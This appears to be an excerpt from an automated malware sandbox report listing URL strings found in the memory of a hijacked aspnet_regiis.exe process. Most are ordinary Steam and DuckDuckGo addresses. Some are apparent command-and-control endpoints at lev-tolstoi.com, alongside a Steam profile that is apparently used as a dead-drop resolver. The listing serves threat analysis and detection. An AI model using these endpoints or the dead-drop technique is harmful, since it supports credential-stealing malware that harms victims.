Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.000000000352A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=_92TWn81
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.000000000352A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi
Source: aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/glob
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=oOCAGrkRfpQ6&l=e
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sl
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: aspnet_regiis.exe, 00000003.00000003.2104310950.0000000005C39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104363080.0000000005C36000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104426374.0000000005C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: aspnet_regiis.exe, 00000003.00000003.2104310950.0000000005C39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104363080.0000000005C36000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104426374.0000000005C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: aspnet_regiis.exe, 00000003.00000003.2104310950.0000000005C39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104363080.0000000005C36000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104426374.0000000005C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.st
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.2243704509.0000000005C00000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220410400.00000000035DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: aspnet_regiis.exe, 00000003.00000002.2243704509.0000000005C00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/G
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/Sg5h
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.000000000354C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/T
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2242472000.00000000035DC000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.000000000354C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2150477826.00000000035EA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.2243324793.00000000035CF000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2150287514.00000000035E9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2150852564.00000000035E9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.2243324793.00000000035DC000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176957876.00000000035DC000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081524747.000000000355C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2242472000.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220410400.00000000035DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: aspnet_regiis.exe, 00000003.00000003.2220410400.00000000035DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiN
Source: aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apis
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003533000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220410400.00000000035DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi
Source: aspnet_regiis.exe, 00000003.00000002.2243704509.0000000005C00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/s~
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003533000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/uo
Source: aspnet_regiis.exe, 00000003.00000003.2242472000.00000000035DC000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.2243324793.00000000035DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/uo(h
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steamp
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.b
Source: aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: aspnet_regiis.exe, 00000003.00000003.2220410400.00000000035C5000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.2243324793.00000000035CF000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176957876.00000000035BE000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2242472000.00000000035CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220835509.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103475750.00000000035D6000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176809705.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220561655.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.000000000352A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176957876.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.2243258087.00000000035AF000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2242513576.00000000035AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003533000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.000000000352A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.000000000352A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003533000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900P
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: aspnet_regiis.exe, 00000003.00000002.2243324793.00000000035CF000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2242472000.00000000035CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.c
Source: aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
